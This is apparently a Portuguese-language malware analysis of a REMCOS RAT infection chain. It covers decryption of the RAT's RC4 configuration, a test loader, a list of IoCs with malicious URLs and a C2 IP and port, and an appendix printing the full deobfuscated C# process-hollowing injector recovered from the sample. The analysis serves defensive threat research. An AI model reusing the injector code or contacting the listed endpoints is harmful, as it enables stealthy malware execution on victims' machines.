A partir da análise do REMCOS disponibilizada pela empresa Fortinet, temos a descrição de que a configuração do RAT fica em uma seção do PE (Portable Executable), nomeada como SETTINGS, onde o primeiro byte indica o tamanho da chave RC4 utilizada para encriptar a configuração, logo em seguida a própria chave em si e, por final, a configuração. Utilizando o reshacker, extraímos essa seção do PE e então usamos o seguinte script para decifrar a configuração:

from sys import argv
from Crypto.Cipher import ARC4
from past.builtins import xrange
with open(argv[1], 'rb') as settings_file:
content = settings_file.read();
key_sz = content[0];
print("tamanho da chave : %s" % key_sz);
key = content[1:key_sz+1]
cipher = ARC4.new(key)
msg = cipher.encrypt(content[key_sz+1:])
print(msg)

A partir da execução confirmamos novamente o endereço do C2 e alguns outros campos da versão 3.5.1 Pro do REMCOS contidas no sample.

# python3.9 test.py SETTINGS
tamanho da chave : 143
b'200.9.155.151:5050:1\x1e|\x1e\x1e\x1f|RemoteHost|\x1e\x1e\x1f|1|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x01|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|1|\x1e\x1e\x1f|7CTG8V4IY|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|6|\x1e\x1e\x1f|r\x00e\x00m\x00c\x00o\x00s\x00.\x00e\x00x\x00e\x00\x00\x00|\x1e\x1e\x1f|R\x00e\x00m\x00c\x00o\x00s\x00\x00\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|0|\x1e\x1e\x1f|Remcos-TYBFF5|\x1e\x1e\x1f|1|\x1e\x1e\x1f|6|\x1e\x1e\x1f|l\x00o\x00g\x00s\x00.\x00d\x00a\x00t\x00\x00\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|10|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00\x00|\x1e\x1e\x1f|5|\x1e\x1e\x1f|6|\x1e\x1e\x1f|Screenshots|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|5|\x1e\x1e\x1f|6|\x1e\x1e\x1f|MicRecords|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|0|\x1e\x1e\x1f|0|\x1e\x1e\x1f|\x00\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x01|\x1e\x1e\x1f|0|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|1|\x1e\x1e\x1f|R\x00e\x00m\x00c\x00o\x00s\x00\x00\x00|\x1e\x1e\x1f|r\x00e\x00m\x00c\x00o\x00s\x00\x00\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|C80C18C689D58C349C7EBEF6B6343E06|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|100000|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|0\x81\xff0\x81\xa6\xa0\x03\x02\x01\x02\x02\x10`;F\x86\xb2S\x88Y>\x82Nj\xddl\xb4\xcd0\n\x06\x08*\x86H\xce=\x04\x03\x020\x000"\x18\x0f19700101000000Z\x18\x0f20901231000000Z0\x000Y0\x13\x06\x07*\x86H\xce=\x02\x01\x06\x08*\x86H\xce=\x03\x01\x07\x03B\x00\x04\xcd\xa6\xd2q\x08\xa724\xaeI\n`kX\xfb\xeb\x8e\x93\xab\x17\x80\xd5;\x9e\xaeC\xc7\x1a\xd9""\xc5CC\xd3>\x9b2\xce\x08QZ\xd8\xc5\xd9\xd4\xf0|\xd6F\xef\xf2\x92i\xe6\x10\xfd\xd3E\x00f\x0c\x0e\x180\n\x06\x08*\x86H\xce=\x04\x03\x02\x03H\x000E\x02 eq\xf3iOXHW\xc6\xac\xc0b\x1c\x8dN\x8f\x88\xa0\'\x9c\x89\xca\xa1\xe1q\xe5\xb2#i\xc4\x07\xd4\x02!\x00\xfd\x0c G\x08\xfd\xeb\xfc\x9eZ}\xab\xdah\x9e=D\xff\xa2t\xa8\xb9\x95\xa6(\xe0_\xd8\xea\xf6o\x89|\x1e\x1e\x1f|0w\x02\x01\x01\x04 \xdc\x08T80\x1c\xd1\x18\x96\x8c\xabDv\n\x96a\x8a\x9c\x8c\x947\x0bb\x83\x1e/.%\xe13O\xca\xa0\n\x06\x08*\x86H\xce=\x03\x01\x07\xa1D\x03B\x00\x04\xcd\xa6\xd2q\x08\xa724\xaeI\n`kX\xfb\xeb\x8e\x93\xab\x17\x80\xd5;\x9e\xaeC\xc7\x1a\xd9""\xc5CC\xd3>\x9b2\xce\x08QZ\xd8\xc5\xd9\xd4\xf0|\xd6F\xef\xf2\x92i\xe6\x10\xfd\xd3E\x00f\x0c\x0e\x18|\x1e\x1e\x1f|0\x82\x01\x000\x81\xa6\xa0\x03\x02\x01\x02\x02\x10(\xa8D`(H&\x82%\xd1]\xaen\xbcXz0\n\x06\x08*\x86H\xce=\x04\x03\x020\x000"\x18\x0f19700101000000Z\x18\x0f20901231000000Z0\x000Y0\x13\x06\x07*\x86H\xce=\x02\x01\x06\x08*\x86H\xce=\x03\x01\x07\x03B\x00\x04\xd5\xac\r\x99!\x9c\xab\xa7\xeb\xc5S\x89\x89Q\x0b\xe0\xcb.\x8f\xfc\xa6\xc4*\x14\xcb\xfa\x8a\xcdQU\x88\xa4\xb7\x17\xd2b\x9c\xb8\x05`\x13\xf5F\xff\xdc\xdd1\x1fE\x05\x95\xb5\x0b\t\x14\xe3h\xaa\x84\x90\xe1\xca\x90\xd90\n\x06\x08*\x86H\xce=\x04\x03\x02\x03I\x000F\x02!\x00\x95\x0e\xd4`\xc1\x13\x13v\xe0ar\x15\xf7\xed\xb6y\x1cBor\x14Qg\x1fe\x96\xef\xc2\xca&p/\x02!\x00\xbcd\\0\xe8\xd0;\xa9\xec\x15\x15\x9c\xec6\xc7\x8e\x0bU\xa3A\xc5\xee\xca\x8f\x1b\xb8\x90KR\x97\xde\xf3|\x1e\x1e\x1f|'

Estágio 3 (rump.txt)

Como pudemos observar na análise do segundo estágio (dll3.txt), sabemos que o rump.txt, também é .NET Assembly, e que ele esta sendo carregado pelo segundo estágio e executado com os seguintes parâmetros:

String : “C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe”
Byte[] : <Remcos>

Estes parâmetros coincidem exatamente com os que foram encontrados na análise disponibilizada pela Fortinet. Apesar dos estágios iniciais não coincidirem, este último, tem forte indício ser um reuso de código. Na análise citada, o último estágio era a implementação da técnica proccess hollowing. Para confirmar, tentamos decompilar o último estágio fazendo uso do dotPeek novamente, contudo, o código gerado ainda continha uma quantidade razoável de strings/métodos ofuscados e algumas das funções sendo chamadas no inicio do código não estavam definidas no resultado da decompilação.

Apesar da ofuscação, temos as seguintes definições no código decompilado, que indicam mais ainda a semelhança com o caso citado previamente:

  • CreateProcess
  • GetThreadContext
  • Wow64GetThreadContext
  • SetThreadContext
  • Wow64SetThreadContext
  • ReadProcessMemory
  • WriteProcessMemory
  • NtUnmapViewOfsection
  • VirtualAllocEx
  • ResumeThread

Identificamos que são exatamente as funções da WinAPI mais utilizadas na implementação da técnica de process hollowing. Como tivemos alguns problemas no resultado da decompilação, nós optamos por partir para uma análise dinâmica. Porém, fizemos uma adequação para tornar o processo mais conveniente, como será exibido na próxima seção.

Monitorando o estágio 3

Em posse da informação obtida previamente, para facilitar a execução de testes e debug somente do último estágio, implementamos um pequeno Loader com código semelhante ao do segundo estágio, mas sem a etapa de decodificar os arquivos pois já temos o .NET Assembly decodificado e pronto para ser carregado. Optamos também por incluir 3 parâmetros no Loader:

  1. String: Caminho do rump.txt já decodificado
  2. String: Caminho do PE (Portable Executable) que vai ser usado durante a injeção do código
  3. String: Caminho do PE (Portable Executable) que será injetado no PE escolhido no parâmetro 2

O código do Loader é o seguinte:

namespace Loader {
internal class Program {
static void Main(string[] args) {
Byte[] rump_injector = FileSystem.ReadAllBytes(args[0]);
String hostPE_path = args[1];
Byte[] injectedPE = FileSystem.ReadAllBytes(args[2]);
AppDomain.CurrentDomain
.Load(rump_injector)
.GetType("tiago.Class1")
.GetMethod("Run")
.Invoke((object)null, new object[2] {
(object) hostPE_path,
(object) injectedPE
});
Thread.Sleep(1000 * 60);
}
}
}

Desta forma, podemos executar o último estágio com parâmetros de nossa escolha, e utilizar os breakpoints nas funções da WinAPI para confirmar a injeção de código. Aqui nós consideramos o rump.decoded e o user.decoded como os arquivos rump.txt e user.txt decodificados anteriormente.

Para sermos breves, não iremos reproduzir aqui todas as etapas do process hollowing, o qual realmente foi confirmado nessa etapa. Executamos o código com os parâmetros equivalentes ao que acontece na cadeia de execução do malware, porém substituindo o executável alvo — que era o RegAsm.exe — pelo whoami.exe, e o programa a ser injetado será o cmd.exe, a título de exemplo.

.\Loader.exe .\rump.decoded C:\windows\system32\whoami.exe C:\windows\system32\cmd.exe

Para monitorar as chamadas da API e os respectivos parâmetros, utilizamos a ferramenta WinAPIOverride , selecionando as funções que foram listadas previamente e que são usadas na implementação usual de process hollowing.

Aqui será reproduzido somente o parâmetro expandido na chamada CreateProcessW():

Assim, podemos ver que o whoami.exe foi executado, e também que o HANDLE para o processo é 0x400C e o HANDLE da thread é 0x4010. Agora será reproduzida a sequencia de chamadas a API que foram capturadas:

O processo alvo em todas essas chamadas foi o próprio whoami.exe criado a partir da primeira chamada, e por fim podemos observar diretamente que o processo criado executou o cmd.exe no espaço do processo previamente criado.

Portanto, podemos concluir que o último estágio de fato é uma implementação de process hollowing genérico, que recebe como parâmetro o caminho de um executável que sofrerá a injeção do código malicioso que será executado. A única diferença entre o nosso teste e a cadeia de execução do sample, é que esta última termina realizando a injeção do REMCOS no RegAsm.exe.

Observação: não foi incluída uma análise do executável que é usado na persistência, pois ao tentar obter o mesmo, a URL de download não estava mais funcional. Contudo, provavelmente trata-se de apenas um PE (Portable Executable) para realizar inicialização do REMCOS da mesma maneira que foi descrita.

Desofuscando

Como foi citado previamente, fazendo uso do dotPeek diretamente, notamos a presença de algumas referências que não estavam definidas em nenhuma outra parte do código decompilado. Para verificar se o código estava fazendo uso de algum obfuscador conhecido, carregamos o Assembly no DIE, onde tivemos a seguinte saída:

De acordo com a saída do DIE, foi utilizado um protector, o qual acreditamos que seja de fato o produto .NET Reactor da empresa Eziris. Realizando uma pequena pesquisa com os temos “NET Reactor Unpacker”, encontramos a ferramenta .NETReactorSlayer, a qual trata-se de um desofuscador para o packer usado nesse último estágio, portanto, decidimos tentar desofuscar o Assembly com essa ferramenta.

O .NETReactorSlayer produziu como saída o assembly rump_Slayed.dll, o qual carregamos novamente no dotPeek, a fim de verificar se iríamos obter um código com todas as definições presentes. A combinação das duas ferramentas gerou um resultado no qual restou apenas a ofuscação dos símbolos representando nomes de objeto, structs e variáveis. Nessa parte final, substituímos os símbolos por nomes significativos, e então obtivemos o código do último estágio da forma mais clara possível, disponibilizamos o código no apêndice deste artigo.

O quarto estágio, se fosse considerado aqui, seria a execução do REMCOS(user.txt), no qual foi analisado no tópico anterior. Portanto, consideramos aqui que a cadeia de execução do malware foi completamente explorada.

Conclusão

Como pôde ser visto, o sample inicia a sua cadeia de execução por meio de uma pequena sequência de scripts, que termina por fazer uso de um .NET Assembly que implementa a técnica de process hollowing para carregar o agente do REMCOS. Este último, exatamente como no post disponibilizado pela Fortinet, nos leva a pensar que, apesar do estágio inicial ser diferente, eles acabam empregando a mesma técnica, a mesma linguagem e ainda o mesmo executável como alvo da injeção, além do mesmo RAT, fatos estes que indicam que esse último estágio pode estar sendo compartilhado entre atores maliciosos.

IoCs

Arquivos

Nome do arquivo: m.vbs

SHA256:313e0caa53234d30e910b12fc1f32b7a666603f9149bd0ee15f18e4896422139

Nome do arquivo: 1.wsf

SHA256:915ecefcffa6a73c0efd8f6d19b08d0177fcea48583a403bf77382c8ed46b1ed

Nome do arquivo: dll3.txt

SHA256:27e193bdf5da860868c5b38e708ca13a8951df7aa8efa1007faa825ed349d56b

Nome do arquivo: rump.txt

SHA256:4056989bd2cc53ad00fa3c9669578d4b157217cfc4139038d4129d4673d39954

Nome do arquivo: user.txt

SHA256:4a06cc564084ee209c70887822f8f2ca653ccc2376322cc22858c8ca294bb5fb

URLs

Domínio: contadoreshbc.com

URL Completa: https://contadoreshbc.com/exe

Domínio: equiperat.online

URL Completa: ftp.equiperat.online

Conexões

IP: 200.9.155.151

Porta: 5050

Apêndice A — Código desofuscado (rump.txt)

// Decompiled with JetBrains decompiler
// Type: tiago.Class1
// Assembly: tiago, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97C72324-1BF3-424F-822A-59B46E92F6FD
// Assembly location: C:\Users\user\Desktop\rump_Slayed.dll
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security;
namespace tiago
{
public class Class1
{
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(
string _param0,
string _param1,
IntPtr _param2,
IntPtr _param3,
bool _param4,
uint _param5,
IntPtr _param6,
string _param7,
ref Class1.STARTUPINFOA _param8,
ref Class1.PROCESS_INFORMATION _param9);
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
private static extern bool GetThreadContext(IntPtr _param0, int[] _param1);
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll", EntryPoint = "Wow64GetThreadContext")]
private static extern bool Wow64GetThreadContext(IntPtr _param0, int[] _param1);
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
private static extern bool SetThreadContext(IntPtr _param0, int[] _param1);
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll", EntryPoint = "Wow64SetThreadContext")]
private static extern bool Wow64SetThreadContext(IntPtr _param0, int[] _param1);
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
private static extern bool ReadProcessMemory(
IntPtr _param0,
int _param1,
ref int _param2,
int _param3,
ref int _param4);
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
private static extern bool WriteProcessMemory(
IntPtr _param0,
int _param1,
byte[] _param2,
int _param3,
ref int _param4);
[SuppressUnmanagedCodeSecurity]
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")]
private static extern int NtUnmapViewOfSection(IntPtr _param0, int _param1);
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
private static extern int VirtualAllocEx(
IntPtr _param0,
int _param1,
int _param2,
int _param3,
int _param4);
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
private static extern int ResumeThread(IntPtr _param0);
public static bool Run(
string PE_path,
byte[] payload)
{
int num = 1;
bool flag;
while (!Class1.processHollowing(PE_path, string.Empty, payload, true))
{
checked { ++num; }
if (num > 5)
{
flag = false;
goto label_5;
}
}
flag = true;
label_5:
return flag;
}
private static bool processHollowing(string targetPath, string _param1, byte[] _param2, bool _param3)
{
string str = string.Format("\"{0}\"", (object) targetPath);
Class1.STARTUPINFOA startupInfo = new Class1.STARTUPINFOA();
Class1.PROCESS_INFORMATION procInfo = new Class1.PROCESS_INFORMATION();
startupInfo.dwFlags = 0;
startupInfo.cb = checked ((uint) Marshal.SizeOf(typeof (Class1.STARTUPINFOA)));
bool flag1;
try
{
if (!string.IsNullOrEmpty(_param1))
str = str + nameof (\u0020) + _param1;
if (!Class1.CreateProcess(targetPath, str, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, (string) null, ref startupInfo, ref procInfo))
throw new Exception();
int int32_1 = BitConverter.ToInt32(_param2, 60);
int int32_2 = BitConverter.ToInt32(_param2, checked (int32_1 + 52));
int[] numArray = new int[179];
numArray[0] = 65538;
if (IntPtr.Size == 4)
{
if (!Class1.GetThreadContext(procInfo.hThread, numArray))
throw new Exception();
}
else if (!Class1.Wow64GetThreadContext(procInfo.hThread, numArray))
throw new Exception();
int num1 = numArray[41];
int num2;
int num3;
if (!Class1.ReadProcessMemory(procInfo.hProcess, checked (num1 + 8), ref num2, 4, ref num3))
throw new Exception();
if (int32_2 == num2 && Class1.NtUnmapViewOfSection(procInfo.hProcess, num2) != 0)
throw new Exception();
int int32_3 = BitConverter.ToInt32(_param2, checked (int32_1 + 80));
int int32_4 = BitConverter.ToInt32(_param2, checked (int32_1 + 84));
int num4 = Class1.VirtualAllocEx(procInfo.hProcess, int32_2, int32_3, 12288, 64);
bool flag2;
if (!_param3 && num4 == 0)
{
flag2 = true;
num4 = Class1.VirtualAllocEx(procInfo.hProcess, 0, int32_3, 12288, 64);
}
if (num4 == 0)
throw new Exception();
if (!Class1.WriteProcessMemory(procInfo.hProcess, num4, _param2, int32_4, ref num3))
throw new Exception();
int num5 = checked (int32_1 + 248);
int num6 = checked ((int) BitConverter.ToInt16(_param2, int32_1 + 6) - 1);
int num7 = 0;
while (num7 <= num6)
{
int int32_5 = BitConverter.ToInt32(_param2, checked (num5 + 12));
int int32_6 = BitConverter.ToInt32(_param2, checked (num5 + 16));
int int32_7 = BitConverter.ToInt32(_param2, checked (num5 + 20));
if (int32_6 != 0)
{
byte[] dst = new byte[checked (int32_6 - 1 + 1)];
Buffer.BlockCopy((Array) _param2, int32_7, (Array) dst, 0, dst.Length);
if (!Class1.WriteProcessMemory(procInfo.hProcess, checked (num4 + int32_5), dst, dst.Length, ref num3))
throw new Exception();
}
checked { num5 += 40; }
checked { ++num7; }
}
byte[] bytes = BitConverter.GetBytes(num4);
if (!Class1.WriteProcessMemory(procInfo.hProcess, checked (num1 + 8), bytes, 4, ref num3))
throw new Exception();
int int32_8 = BitConverter.ToInt32(_param2, checked (int32_1 + 40));
if (flag2)
num4 = int32_2;
numArray[44] = checked (num4 + int32_8);
if (IntPtr.Size == 4)
{
if (!Class1.SetThreadContext(procInfo.hThread, numArray))
throw new Exception();
}
else if (!Class1.Wow64SetThreadContext(procInfo.hThread, numArray))
throw new Exception();
if (Class1.ResumeThread(procInfo.hThread) == -1)
throw new Exception();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Process.GetProcessById(checked ((int) procInfo.dwProcessId))?.Kill();
flag1 = false;
ProjectData.ClearProjectError();
goto label_41;
}
flag1 = true;
label_41:
return flag1;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct STARTUPINFOA
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
}
}

--

--